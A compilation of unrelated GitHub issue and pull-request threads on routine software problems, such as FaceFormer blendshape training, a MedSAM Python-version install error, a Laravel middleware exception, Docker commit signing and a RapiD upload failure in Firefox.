i have try it, but it is not work.

Hi EvelynFan This is an interesting work for me. I want to know if i have 101 blendshapes , In the trainging i can use the blendshapes instead of the vertices?

i have try it, but it is not work.

In fact, we also used the blendshapes for learning, but different from your results, I was able to converge and get the same effect as the paper. In the case of non-convergence, it was the problem of the audio encoder. We replaced our own audio Encoder.So you can try

Can I specifically ask how to use blendshapes to learn? Is there any information for reference? Thank you so much!

In fact, we also used the blendshapes for learning, but different from your results, I was able to converge and get the same effect as the paper. In the case of non-convergence, it was the problem of the audio encoder. We replaced our own audio Encoder.So you can try

@JSHZT can you share your audio encoder, thank you

In fact, we also used the blendshapes for learning, but different from your results, I was able to converge and get the same effect as the paper. In the case of non-convergence, it was the problem of the audio encoder. We replaced our own audio Encoder.So you can try

@JSHZT can you share your audio encoder, thank you

Sorry, we are still improving the audio encoder. Extracting the audio features is a confusing problem, especially in cross-language experiments. We will also release the relevant source code, If our research succeeds

Is there any Update on this @JSHZT ?

In fact, we also used the blendshapes for learning, but different from your results, I was able to converge and get the same effect as the paper. In the case of non-convergence, it was the problem of the audio encoder. We replaced our own audio Encoder.So you can try

In fact, we also used the blendshapes for learning, but different from your results, I was able to converge and get the same effect as the paper. In the case of non-convergence, it was the problem of the audio encoder. We replaced our own audio Encoder.So you can try

In fact, we also used the blendshapes for learning, but different from your results, I was able to converge and get the same effect as the paper. In the case of non-convergence, it was the problem of the audio encoder. We replaced our own audio Encoder.So you can try

Hi, except audio-encoder, is there any other change for the framework of faceformer when you train on blendshape? When I try to train on blendVOCA, it seems hard to converge, any suggestions? Thanks!

If I remember correctly, the magnitude of my convergence is 1e-3. You might
as well try the visual results first. In my previous attempt it was just a
better audio encoder and no other changes, but in the end I stopped working
on that because other work came in
ZhangJiang @.***>于2024年6月5日 周三11:43写道：

In fact, we also used the blendshapes for learning, but different from
your results, I was able to converge and get the same effect as the paper.
In the case of non-convergence, it was the problem of the audio encoder. We
replaced our own audio Encoder.So you can try
In fact, we also used the blendshapes for learning, but different from
your results, I was able to converge and get the same effect as the paper.
In the case of non-convergence, it was the problem of the audio encoder. We
replaced our own audio Encoder.So you can try
In fact, we also used the blendshapes for learning, but different from
your results, I was able to converge and get the same effect as the paper.
In the case of non-convergence, it was the problem of the audio encoder. We
replaced our own audio Encoder.So you can try
Hi, except audio-encoder, is there any other change for the framework of
faceformer when you train on blendshape? When I try to train on blendVOCA,
it seems hard to converge, any suggestions? Thanks!
image.png (view on web)
https://github.com/EvelynFan/FaceFormer/assets/32287808/0615e8b2-9a6d-452a-97be-5cc19601a4be
—
Reply to this email directly, view it on GitHub
https://github.com/EvelynFan/FaceFormer/issues/60#issuecomment-2148795681,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ASVKX6S4OSWBZPGRFVNDJKLZF2CNZAVCNFSM6AAAAAATFIV64KVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDCNBYG44TKNRYGE
.
You are receiving this because you were mentioned.Message ID:
@.***>

@JSHZT Thank you so much!


Solarized colors dropping spaces, foreground gray seems wrong

From MSFT:21253231
It  seems like Terminal Preview does something weird with color 7...  mapping it (I think) to the 'foreground' color in the scheme.  This is  confusing, because the default scheme (Campbell) has a different color  for 'foreground' than color 7.e.g., run "color  7f" and "color f7" commands in Terminal  Preview.  In both cases, the text color is lighter than the  background... but that shouldn't be possible.

This is a duplicate of #293 actually!


pos_debt_notebook bug, double stock picking.

I've tested with Odoo12.
Double stock picking happen when sell product on POS with pos_debt_notebook installed.
It makes wrong inventory report.
See video.
https://youtu.be/vc-X3Yyvdlg

Want to back this issue? Post a bounty on it! We accept bounties via Bountysource.

This was because of call to order.action_pos_order_paid()  inside of _process_order
In latest version this was fixed and replaced by call to set_discounts()
Should work fine if you update the module
Regards,
-Mario


Address some of the PR feedback

Made sure the new code is built only for the appropriate configuration and the solution continues to build for every configuration (I was getting build breaks with Desktop configuration)
Moved unit test project over to MIEngine repo
Some couple other minor changes per code review feedback

@chuckries


Problem with middleware SecureHeadersMiddleware.php

Sometimes I have the next error in log file
Trying to get property of non-object in /public_html/vendor/bepsvpt/secure-headers/src/SecureHeadersMiddleware.php:26
I think variable $response has not property headers and it born an exception

Hi @oleg-tolkach,
What is your Laravel version and is there any way to reproduce this bug?

Laravel 5.4
I don't know what is the reason of this bug
If I have additional info about it I will update you
пт, 19 апр. 2019 г. в 19:34, BePsvPT<EMAIL_ADDRESS>
Hi @oleg-tolkach https://github.com/oleg-tolkach,
What is your Laravel version and is there any way to reproduce this bug?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/BePsvPT/secure-headers/issues/32#issuecomment-484950786,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ACI7WVTLIFJRQL7GJFT2R5LPRHYBNANCNFSM4HHDCVHQ
.

--
Oleg
Best regards

Hi @oleg-tolkach,
After seeing this problem in other place, I guess it is because of missing return value from other middleware.
The following middleware will result in exception you had encountered.
public function handle($request, Closure $next)
{
    if (true /* some condition check */) {
        return $next($request);
    }
}

Thus, you should ensure that all middleware have return value.

Closed due to inactivity, feel free to open a new issue if you have any question.


Plugin fetches all dependencies when publishing

Introduction
The repository has a script preparing for publishing UTBot IntelliJ IDEA plugin and UTBot Java CLI. The script triggers on push to the main branch. Script run result are build artifacts: two .jar files corresponding to UTBot IntelliJ IDEA plugin and UTBot Java CLI.
How it was before open sourcing
There was a script on Team City building and publishing plugin. The script fetched all the dependencies necessary for plugin work and packed it into .zip achieve (including the build result of IntelliJ IDEA plugin (utbot-intellij-${version}.jar) that contained the code responsible for user interaction with the plugin). Then the archive was installed into IntelliJ IDEA as a plugin.
Problem
UTBot IntelliJ IDEA plugin build gives as a result .jar file which does not contain all the dependencies necessary for plugin work.
Expected
UTBot IntelliJ IDEA plugin build gives as a result .jar file which contains all the dependencies necessary for plugin work.
Solution
Create jar task in build.gradle in utbot-intellij project building UTBot IntelliJ IDEA plugin fat .jar with all the dependencies.

No more actual. There is buildPlugin task creating .zip archive with all the dependencies.


Fix the doxygen warnings and turn on the CI check

Codecov Report

Merging #563 (1563d3f) into develop (2a8a2d5) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff            @@
##           develop     #563   +/-   ##
========================================
  Coverage    94.85%   94.85%
========================================
  Files          108      108
  Lines         6378     6378
========================================
  Hits          6050     6050
  Misses         328      328

Impacted Files
Coverage Δ

src/serac/infrastructure/accelerator.hpp
100.00% <ø> (ø)

.../serac/physics/utilities/finite_element_vector.hpp
100.00% <ø> (ø)

...physics/utilities/functional/boundary_integral.hpp
48.75% <ø> (ø)

...c/physics/utilities/functional/domain_integral.hpp
100.00% <ø> (ø)

.../serac/physics/utilities/functional/functional.hpp
97.24% <ø> (ø)

...hysics/utilities/functional/integral_utilities.hpp
100.00% <ø> (ø)

src/serac/physics/utilities/functional/tensor.hpp
99.60% <ø> (ø)

src/serac/physics/utilities/functional/tuple.hpp
100.00% <ø> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2a8a2d5...1563d3f. Read the comment docs.


Preparation of the guide for the meeting (issue #330 related)

The goal is to prepare a guide covering introduction to dynpy enviromnt

Guide to be improved:
https://cocalc.com/projects/cdcf3856-3e8b-4d1c-bcb2-5c42ba749d83/files/UCZESTNICY/Guide_Source/Source/[PL] [Guide] Obsluga srodowiska CoCalc.ipynb#id=609904


added airIAM

Added AirIAM from bridge crew, a tool to create least privilege TF code from an IAM policy

@shuaibiyy Let me know if this can be reviewed please. thanks

Thanks for the addition!


add pre-get hook

following up on https://github.com/tus/tusd/issues/431
not sure if this feature would be welcomed, please advice @Acconut

Thank you for the PR and apologies for my delayed response! I can see the value of a pre-get hook. You are probably using it for authorization/authentication as you mentioned in #431, aren't you? For those cases, I think it would make more sense to implement a proper authentication system using hooks where a hook is always invoked before a user tries to access an upload. The hook can then decide if this access should be granted or not.
Such a system is more complex to implement but would serve more use cases. What do you think?

sounds good! thanks, we can close this one then and create an issue to document the requirements when possible

This avoids invoking the hook if the upload does not exist

not sure about this one, if there's no authorization it should not return a 404 just not authorized imho

Superseeded by https://github.com/tus/tusd/pull/1077, which implements a similar mechanism, which is not restricted to downloads.


tranq nerf

About the PR
15u capacity down to 5u
Closes #11463
Screenshots

Changelog

:cl:

tweak: Tranquilizer shells now only hold 5u of chemicals.

superseded by #11469


Remove use of real_center_indices

This PR removes some real_center_indices loops. A step towards https://github.com/CliMA/ClimaAtmos.jl/issues/887.

bors r+

bors r+

bors r-

bors r+

bors r+

bors r+


Initial packaging of sphinx-ditaa 0.1.

a debian branch with the debian dir to building package for debian-like distributions.
(you may also create a debian branch instead of merging into master).

a debian branch with the debian dir to building package for debian-like distributions.

@jbar do you intend to submit a package to debian? I'm have no time to allocate to this project (and I haven't used it for years now). I'd be happy to transfer ownership of the repository if you are an active user, and want to submit it to debian.

Not yet, but debian dev like when there is are already some running debian/control and debian/rules. (even if there are some mistakes like those you noticed)
I just packaged sphinx-ditaa, for a custom and private distribution.

Well, because ENOTIME, I'd prefer not to merge this, as I don't want to spent time maintaining it.
Sorry for this.

I understand. I hope also we will find someone enough skilled and active to get ownership and maintain this project, putting this in my (low priority) TODO list.


ERROR: Package 'medsam' requires a different Python: 3.8.10 not in '>=3.9'

Hi Bo,
Thank you for your work and this nice MedSAM project.
I am trying to build the env, the setup steps worked well before "pip install -e .".
But when I was runing "pip install -e .", it shows ERROR: Package 'medsam' requires a different Python: 3.8.10 not in '>=3.9' as the image below.
My original python is 3.8.10, but the python changed to Python 3.10.12 after "conda create -n medsam-demo python=3.10 -y" when I checked with "python" in terminal. I also tried to reinstall anaconda2023.07 with python11 (checked with "python" as well, showing "Python 3.11.4 (main, Jul  5 2023, 14:15:25)"), but it keeps showing the exact same error. Could you show some hints about it? Thank you!

Hi Jun,
I have reboot my machine and tried it again.
The error is still there (I have attached the full script log).
I am thinking this may be caused by some weird environment settings. I have native python3.8.10 (/bin/python) installed, but I have change my env python to anaconda 3.9.12 long ago. When I use "conda create -n medsam python=3.10 -y", it should successfully create a python3.10.12 environment (and actually does create one). However, somehow the 3.8.10 still cause the error.
As my question description, I have reinstall the Anaconda did not solve it.
Do you have some hint about this (e.g. any env setting in the setup step call /bin/python directly)?
Many thanks for your help!
(base) huwang@server3090:~/hdd/experiments/noisy$ python
Python 3.9.12 (main, Apr  5 2022, 06:56:58)
[GCC 7.5.0] :: Anaconda, Inc. on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exit()
(base) huwang@server3090:~/hdd/experiments/noisy$ conda create -n medsam python=3.10 -y
Collecting package metadata (current_repodata.json): done
Solving environment: done

==> WARNING: A newer version of conda exists. <==
  current version: 4.12.0
  latest version: 23.7.3

Please update conda by running

    $ conda update -n base -c defaults conda

## Package Plan ##

  environment location: /home/huwang/program_files/anaconda3/envs/medsam

  added / updated specs:
    - python=3.10

The following NEW packages will be INSTALLED:

  _libgcc_mutex      pkgs/main/linux-64::_libgcc_mutex-0.1-main
  _openmp_mutex      pkgs/main/linux-64::_openmp_mutex-5.1-1_gnu
  bzip2              pkgs/main/linux-64::bzip2-1.0.8-h7b6447c_0
  ca-certificates    pkgs/main/linux-64::ca-certificates-2023.08.22-h06a4308_0
  ld_impl_linux-64   pkgs/main/linux-64::ld_impl_linux-64-2.38-h1181459_1
  libffi             pkgs/main/linux-64::libffi-3.4.4-h6a678d5_0
  libgcc-ng          pkgs/main/linux-64::libgcc-ng-11.2.0-h1234567_1
  libgomp            pkgs/main/linux-64::libgomp-11.2.0-h1234567_1
  libstdcxx-ng       pkgs/main/linux-64::libstdcxx-ng-11.2.0-h1234567_1
  libuuid            pkgs/main/linux-64::libuuid-1.41.5-h5eee18b_0
  ncurses            pkgs/main/linux-64::ncurses-6.4-h6a678d5_0
  openssl            pkgs/main/linux-64::openssl-3.0.10-h7f8727e_2
  pip                pkgs/main/linux-64::pip-23.2.1-py310h06a4308_0
  python             pkgs/main/linux-64::python-3.10.12-h955ad1f_0
  readline           pkgs/main/linux-64::readline-8.2-h5eee18b_0
  setuptools         pkgs/main/linux-64::setuptools-68.0.0-py310h06a4308_0
  sqlite             pkgs/main/linux-64::sqlite-3.41.2-h5eee18b_0
  tk                 pkgs/main/linux-64::tk-8.6.12-h1ccaba5_0
  tzdata             pkgs/main/noarch::tzdata-2023c-h04d1e81_0
  wheel              pkgs/main/linux-64::wheel-0.38.4-py310h06a4308_0
  xz                 pkgs/main/linux-64::xz-5.4.2-h5eee18b_0
  zlib               pkgs/main/linux-64::zlib-1.2.13-h5eee18b_0

Preparing transaction: done
Verifying transaction: done
Executing transaction: done
#
# To activate this environment, use
#
#     $ conda activate medsam
#
# To deactivate an active environment, use
#
#     $ conda deactivate

(base) huwang@server3090:~/hdd/experiments/noisy$ conda activate medsam
(medsam) huwang@server3090:~/hdd/experiments/noisy$ pip3 install torch torchvision
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: torch in /home/huwang/.local/lib/python3.8/site-packages (2.0.1)
Requirement already satisfied: torchvision in /home/huwang/.local/lib/python3.8/site-packages (0.15.2)
Requirement already satisfied: nvidia-cublas-cu11==<IP_ADDRESS> in /home/huwang/.local/lib/python3.8/site-packages (from torch) (<IP_ADDRESS>)
Requirement already satisfied: nvidia-nvtx-cu11==11.7.91 in /home/huwang/.local/lib/python3.8/site-packages (from torch) (11.7.91)
Requirement already satisfied: nvidia-cusparse-cu11==<IP_ADDRESS> in /home/huwang/.local/lib/python3.8/site-packages (from torch) (<IP_ADDRESS>)
Requirement already satisfied: networkx in /home/huwang/.local/lib/python3.8/site-packages (from torch) (3.1)
Requirement already satisfied: nvidia-cuda-cupti-cu11==11.7.101 in /home/huwang/.local/lib/python3.8/site-packages (from torch) (11.7.101)
Requirement already satisfied: nvidia-curand-cu11==<IP_ADDRESS> in /home/huwang/.local/lib/python3.8/site-packages (from torch) (<IP_ADDRESS>)
Requirement already satisfied: sympy in /home/huwang/.local/lib/python3.8/site-packages (from torch) (1.12)
Requirement already satisfied: nvidia-cufft-cu11==<IP_ADDRESS> in /home/huwang/.local/lib/python3.8/site-packages (from torch) (<IP_ADDRESS>)
Requirement already satisfied: nvidia-nccl-cu11==2.14.3 in /home/huwang/.local/lib/python3.8/site-packages (from torch) (2.14.3)
Requirement already satisfied: nvidia-cusolver-cu11==<IP_ADDRESS> in /home/huwang/.local/lib/python3.8/site-packages (from torch) (<IP_ADDRESS>)
Requirement already satisfied: nvidia-cuda-nvrtc-cu11==11.7.99 in /home/huwang/.local/lib/python3.8/site-packages (from torch) (11.7.99)
Requirement already satisfied: triton==2.0.0 in /home/huwang/.local/lib/python3.8/site-packages (from torch) (2.0.0)
Requirement already satisfied: nvidia-cudnn-cu11==<IP_ADDRESS> in /home/huwang/.local/lib/python3.8/site-packages (from torch) (<IP_ADDRESS>)
Requirement already satisfied: jinja2 in /home/huwang/.local/lib/python3.8/site-packages (from torch) (3.1.2)
Requirement already satisfied: typing-extensions in /home/huwang/.local/lib/python3.8/site-packages (from torch) (4.7.1)
Requirement already satisfied: nvidia-cuda-runtime-cu11==11.7.99 in /home/huwang/.local/lib/python3.8/site-packages (from torch) (11.7.99)
Requirement already satisfied: filelock in /home/huwang/.local/lib/python3.8/site-packages (from torch) (3.3.0)
Requirement already satisfied: setuptools in /home/huwang/.local/lib/python3.8/site-packages (from nvidia-cublas-cu11==<IP_ADDRESS>->torch) (65.5.0)
Requirement already satisfied: wheel in /usr/lib/python3/dist-packages (from nvidia-cublas-cu11==<IP_ADDRESS>->torch) (0.34.2)
Requirement already satisfied: cmake in /home/huwang/.local/lib/python3.8/site-packages (from triton==2.0.0->torch) (<IP_ADDRESS>)
Requirement already satisfied: lit in /home/huwang/.local/lib/python3.8/site-packages (from triton==2.0.0->torch) (16.0.6)
Requirement already satisfied: pillow!=8.3.*,>=5.3.0 in /usr/lib/python3/dist-packages (from torchvision) (7.0.0)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from torchvision) (2.22.0)
Requirement already satisfied: numpy in /home/huwang/.local/lib/python3.8/site-packages (from torchvision) (1.21.2)
Requirement already satisfied: MarkupSafe>=2.0 in /home/huwang/.local/lib/python3.8/site-packages (from jinja2->torch) (2.1.3)
Requirement already satisfied: mpmath>=0.19 in /home/huwang/.local/lib/python3.8/site-packages (from sympy->torch) (1.3.0)

[notice] A new release of pip available: 22.3 -> 23.2.1
[notice] To update, run: /usr/bin/python3 -m pip install --upgrade pip
(medsam) huwang@server3090:~/hdd/experiments/noisy$ git clone https://github.com/bowang-lab/MedSAM
Cloning into 'MedSAM'...
remote: Enumerating objects: 525, done.
remote: Counting objects: 100% (307/307), done.
remote: Compressing objects: 100% (186/186), done.
remote: Total 525 (delta 182), reused 164 (delta 121), pack-reused 218
Receiving objects: 100% (525/525), 60.02 MiB | 9.26 MiB/s, done.
Resolving deltas: 100% (243/243), done.
(medsam) huwang@server3090:~/hdd/experiments/noisy$ cd MedSAM
(medsam) huwang@server3090:~/hdd/experiments/noisy/MedSAM$ pip install -e .
Defaulting to user installation because normal site-packages is not writeable
Obtaining file:///hdd/huwang/experiments/noisy/MedSAM
  Preparing metadata (setup.py) ... done
Collecting monai
  Using cached monai-1.2.0-202306081546-py3-none-any.whl (1.3 MB)
Collecting matplotlib
  Using cached matplotlib-3.7.2-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (9.2 MB)
Collecting scikit-image
  Using cached scikit_image-0.21.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (13.9 MB)
Collecting SimpleITK>=2.2.1
  Using cached SimpleITK-2.2.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (52.7 MB)
Collecting nibabel
  Using cached nibabel-5.1.0-py3-none-any.whl (3.3 MB)
Collecting tqdm
  Using cached tqdm-4.66.1-py3-none-any.whl (78 kB)
Collecting scipy
  Using cached scipy-1.10.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (34.5 MB)
Collecting ipympl
  Using cached ipympl-0.9.3-py2.py3-none-any.whl (511 kB)
Collecting opencv-python
  Using cached opencv_python-<IP_ADDRESS>-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (61.7 MB)
Collecting jupyterlab
  Using cached jupyterlab-4.0.5-py3-none-any.whl (9.2 MB)
Collecting ipywidgets
  Using cached ipywidgets-8.1.0-py3-none-any.whl (139 kB)
ERROR: Package 'medsam' requires a different Python: 3.8.10 not in '>=3.9'

[notice] A new release of pip available: 22.3 -> 23.2.1
[notice] To update, run: /usr/bin/python3 -m pip install --upgrade pip
(medsam) huwang@server3090:~/hdd/experiments/noisy/MedSAM$ python
Python 3.10.12 (main, Jul  5 2023, 18:54:27) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> exit()
(medsam) huwang@server3090:~/hdd/experiments/noisy/MedSAM$

This is interesting. I don't know why your python3.8 environment affected the installation.
Could you please try to modify this line to python>=3.8
https://github.com/bowang-lab/MedSAM/blob/1397b97a4fa0a82adaf6add72f08fdd237fa7e96/setup.py#L14

It looks to me that the environment configuration is wrong. Try which pip, which pip3 and which python after conda activate. You'll see that it's pointing to the global pip installation

Thank you guys, I am reinstalling the OS. Let us see if it works

It looks to me that the environment configuration is wrong. Try which pip, which pip3 and which python after conda activate. You'll see that it's pointing to the global pip installation

I think this may be the reason, as I uninstalled the python3.8 and the pip3 did not work in the conda env. But I am reinstalling the OS. Should solve it once for all

Thank you @JunMa11 @thangngoc89 , for the help!
It is all working now after reinstalling the OS. Must be some hidden environment bugs.

I meet the same issue. After activating the virtual environment, I found that the Python interpreter in PyCharm's settings did not change accordingly. After manually changing it, the problem was resolved.


Calc function breaks generation file process

Code to reproduce the error:
```css
.full-block {
    width: call(100% - 16px);
}
```
Errorr:
Error in plugin 'sass'  (***gulp-sass***)
Message:
    css/myscssfile.scss
Error: Incompatible units: 'px' and '%'.
        on line 2 of stdin
\>\>   width: call(100% - 16px);
Versions of packages & system info:
node: v4.0.0,
nodejs: v0.12.9,
gulp: 3.9.0,
gulp-sass: 2.1.1,
OS: Ubuntu 14.04.3

:sweat_smile: ooooops
oh ... I need to sleep, it was just a typo
Sorry :sweat_smile:


Add aures comapny in readme.md file

I work in aures, I proudly use this plugin in one of my projects!

Released in v4.0.0


Feature/add man pages docs

fixes https://github.com/docker/docker/issues/11835.
The instructions came from: http://stackoverflow.com/a/29284046.

Can you please sign your commits following these rules:
https://github.com/docker/docker/blob/master/CONTRIBUTING.md#sign-your-work
The easiest way to do this is to amend the last commit:
$ git clone -b "feature/add_man_pages_docs" git@github.com:miwest929/docker.git somewhere
$ cd somewhere
$ git rebase -i HEAD~2
editor opens
change each 'pick' to 'edit'
save the file and quit
$ git commit --amend -s --no-edit
$ git rebase --continue # and repeat the amend for each commit
$ git push -f

This will update the existing PR, so you do not need to open a new one.


Update connect-whatsapp-business-account.md

Embedded the video to Register a WA Business Account with Azure Communication Services.

#sign-off

#sign-off


DataWatcher Wither

I'm new to Sponge and I used some hacky code to modify DataWatcher for some extra stuff.
I'm looking for a good way to do this in Sponge about the wither.
Setting the Invulnerable time (see: http://wiki.vg/Entities#Wither) to a large number turns the Wither into a "baby". How to implement it properly ?
Thanks!

Is Keys.INVULNERABILITY_TICKS  what you are looking for?

This is not exactly the same "invulnerability" see the link. The invulnerability I'm talking about happens when you invoke the wither, it puts the Wither in a special state (with effects).

You can actually control this through the FusedExplosive interface which the Wither implements. See Keys.FUSE_DURATION.

Ok thanks! It's working but I cannot update it while primed yet
(Pseudo code: http://pastebin.com/bHpKAtmh)


Add mode property to the append_if_no_line and replace_or_add resources

Description
Add mode property to the append_if_no_line and replace_or_add resources
This should have been done in my other pr but I overlooked it.
Issues Resolved
N/a
Check List

[X] All tests pass. See TESTING.md for details.
[X] New functionality includes testing.
[X] New functionality has been documented in the README if applicable.

Released as: 4.3.0


Why is multi-task learning one head?

Thank you for your wonderful code sharing.
I'm looking at a multi-task learning code train_emotion-pytorch.ipynb.
I know why you used FER, Valence, and Arousal in one head without dividing the head.
Thank you.

Hello!
Thanks for your question and sorry for delay in answering it.
It is just an engineering trick. It was easier for me to extend the EfficientNet model from timm package by using only one output layer with 10 units (8 facial expressions and Valence-Arousal). In such case, it is not necessary to extend the model and implement custom forward() pass. It is enough to create custom loss function and process the outputs of the model t evaluation and inference steps.


imply start servers

When I use imply to start both master and data servers, it always alerts 'Cannot lock svdir, maybe another 'supervise' is running:".
How could I to solve this?
Any idea, thanks.

@birdspring, the intent with the Imply packaging is that you would start just one supervisor per machine. If you want to run master and data services on the same machine, you could combine them into a single supervisor config (see http://imply.io/docs/latest/operations.html). Or you could use the bundled quickstart.conf, which starts all services (master, data, and query).
Also, this repo is for Druid itself; you can file Imply distribution specific issues here in the future: https://github.com/implydata/distribution

I truly used this method...I wonder if there have other solutions before.
Now it seems not.
Thank you very much.


Shopping list 2.

This was actually created by Nico.

The changes in the shopping list are the solar panel and the motors.
We change the solar panel for one more powerful and a little bigger in case we can make a feedback mechanism.
We delete the motors of the shopping list because we will try to use the stepper motors that Jordi already have.
I gona send to you @josepmaria-carbonell and @moises-garin the new shopping list via e-mail and do the new check list in this issue.

[ ] Arduino nano
[ ] Photodiodes
[ ] Photoresistors
[ ] AOP
[ ] Stepper motors (supplied by Jordi)
[ ] Resistors
[ ] Solar panel
[ ] LCD Screen
[ ] Protoboard
[ ] I2C Adapter
[ ] PLA
[ ] Wire
[ ] Real time clock

Please look at this solar panel, if it fulfils the specifications:
https://www.amazon.es/enjoysolar®-monokristallin-Módulo-Jardín-Camping/dp/B076B651Y8
@Integrated-Project-2-UVic-UCC/sun-tracking

This solar panel fulfills all the electric specifications, but not the mechanical ones.
We are commenting if it could be made with this one , if not we would look for some more.😊

This solar panel fulfills all the electric specifications, but not the mechanical ones.
https://www.amazon.es/enjoysolar®-monokristallin-Módulo-Jardín-Camping/dp/B076B651Y8
We are commenting if it could be made with this one , if not we would look for some more.blush

Which are the mechanical specifications that it doesn't fulfills? Why you can not adapt to those conditions?
(Take into account that your system has to be scalable and to be applied to bigger solar panels)
These are the other alternatives you propose, I still don't know if they can be bought, we will ask it to Jordi tomorrow:
https://tienda.bricogeek.com/placas-solares/883-panel-solar-9w.html?search_query=panel+solar&results=7
https://www.robotshop.com/es/es/panel-solar-pijuice-12-vatios.html
@moises-garin    can you take a look?


Enable API Check

When we release we need to generate a baseline and enable the API Check

We will start doing this in RTM, once the API surface is frozen.

We need to do this after API lockdown, not sure it needs to be in preview2

RC?

Won't be criticial until we release.


Add ability to import the constants of the action-types

Would be great to have ability to import the constants of the action-types .
 Could explain it in a bit more detail?

let say I want the behaviour:
When route/state is changed -> close side navigation
so in some redux-middleware (i my case redux-observable) -> I will check all action if their type is equal to '@@reduxUiRouter/$stateChangeStart' -> if YES then perform desired action
so I need to get somehow the string "@@reduxUiRouter/$stateChangeStart"
would be great to have ability to import that constant
import {STATE_CHANGE_START} from "redux-ui-router"
// or
import {actionTypes} from "redux-ui-router" // -> actionTypes.STATE_CHANGE_START

I understand now. As opposed to maintaining those constants externally. I may get round to this in a week or so but open to a PR in the meantime 👍

Yes, agreed I have to redefine the ui router constants in my app.

Actually, a slightly more stable hack than defining them yourselves is to use the action creators:
const goAction = stateGo().type

Incidentally, you might want to change your namespacing - it breaks https://github.com/wix/redux-saga-tester/blob/master/src/SagaTester.js#L45


Bump v1.11.1

- What I did
- How I did it
- How to verify it
- A picture of a cute animal (not mandatory but encouraged)

Please sign your commits following these rules:
https://github.com/docker/docker/blob/master/CONTRIBUTING.md#sign-your-work
The easiest way to do this is to amend the last commit:
$ git clone -b "bump_v1.11.1" git@github.com:docker/docker.git somewhere
$ cd somewhere
$ git rebase -i HEAD~158
editor opens
change each 'pick' to 'edit'
save the file and quit
$ git commit --amend -s --no-edit
$ git rebase --continue # and repeat the amend for each commit
$ git push -f

Ammending updates the existing PR. You DO NOT need to open a new one.

This isn't how Docker is released.


Sendgrid free tier not available anymore

[Enter feedback here]
Sendgrid free tier is not available anymore

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 73d91616-a93f-84af-7900-5aa34b361ffd
Version Independent ID: f202a678-4853-d024-55c5-19f89558415c
Content: How to use the SendGrid email service (.NET)
Content Source: articles/sendgrid-dotnet-how-to-send-email.md
Service: multiple
GitHub Login: @georgewallace
Microsoft Alias: gwallace

@Dastreum we'll review your feedback and get back to you shortly. Thanks.

@Dastreum we'll review your feedback and get back to you shortly. Thanks.

@Dastreum That is correct.  The correct screenshots should be as follows, and the documentation should be updated early next week (there's been a slight delay in updating images).
https://github.com/MicrosoftDocs/azure-docs/issues/68580

@Dastreum That is correct.  The correct screenshots should be as follows, and the documentation should be updated early next week (there's been a slight delay in updating images).
https://github.com/MicrosoftDocs/azure-docs/issues/68580

@Dastreum The updated documentation is now live.  Thank you again for helping to improve our documentation!  We are going to close this thread as resolved but if there are any further questions regarding the documentation, please tag me in your reply and we will be happy to continue the conversation.

@Dastreum The updated documentation is now live.  Thank you again for helping to improve our documentation!  We are going to close this thread as resolved but if there are any further questions regarding the documentation, please tag me in your reply and we will be happy to continue the conversation.

@kobulloc-MSFT how will this work for existing free SendGrid accounts on Azure going forward? Will these accounts stay free or get changed to Bronze and get charged? Thank you

@kobulloc-MSFT how will this work for existing free SendGrid accounts on Azure going forward? Will these accounts stay free or get changed to Bronze and get charged? Thank you

@shammelburg If you don't mind opening a new issue for that question, it will help organize questions so that other readers can find answers quickly, help with our tracking, and make sure that you get connected with the best person to answer your question (I'd be happy to answer but I'm not sure what happens in that case).

@shammelburg If you don't mind opening a new issue for that question, it will help organize questions so that other readers can find answers quickly, help with our tracking, and make sure that you get connected with the best person to answer your question (I'd be happy to answer but I'm not sure what happens in that case).


Cannot upload Changesets with Firefox

Description
I cannot upload my changeset with Firefox.
It started maybe one or two month ago.
Upload "starts" but it only waits...
I switched to Opera browser and it can upload changeset with the same user credentials.
I cleared the Firefox cache without positive results.
Screenshots
No response
Version
2.3.1
What browser are you seeing the problem on? What version are you running?
Firefox v125.0
The OS you're using
win
Steps to reproduce

modify map
try to upload to OSM
wait...

The browser URL at the time you encountered the bug
https://rapideditor.org/edit#map=18.35/47.79694/19.76731&background=custom:https://orto1.tile.openstreetmap.hu/fomi2011-2014/{z}/{x}/{y}.webp&datasets=fbRoads,msBuildings&disable_features=indoor,landuse,boundaries,pistes,aerialways,power,past_future,others
The auto-detected useragent string for your browser (leave blank if you're manually filling this form out)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0

Thanks for reporting @misibacsi  - Is this the Editing Conflicts screen , like seen on #1361  ?
There are some situations where uploads get stuck here in a conflict check loop.

There is no "edit conflict" message.
I am confident it cannot be "edit conflict", as no one else edits the same territory as me.
With different browser (Opera) upload works - same territory, same edits, same credentials.
Maybe it is a problem within Firefox settings, but I do not know which one causes this.

Interesting - I just tried editing around there with Firefox and I was able to save a change with no issues.
Can you perform these steps to help us investigate the issue?

Press F12 to open the Firefox developer tools before you attempt to save
Then try your save as usual, and let me know if there are messages that appear in the "Console" tag of the developer tools.

Thanks 👍

I figured out with your help in this Firefox console info, that it was probably a CORS-related problem.
(There were warnings that something would not work)
I switched to another CORS software (it is now: "CORS Everywhere").
Test: I added buildings to the map, and could upload changesets 2x.
Thanks!

Great! Glad things are working again 👍


Great work on Wasmer actions!

Hi @Wakeful-Cloud, we just discovered this repo for using Wasmer/WAPM in Github actions... and we love it!
We would love to integrate into the Wasmer ecosystem, so we can promote it officially! (you will continue being the owner and maintainer)
Let me know your thoughts!

@syrusakbary I'm interested!
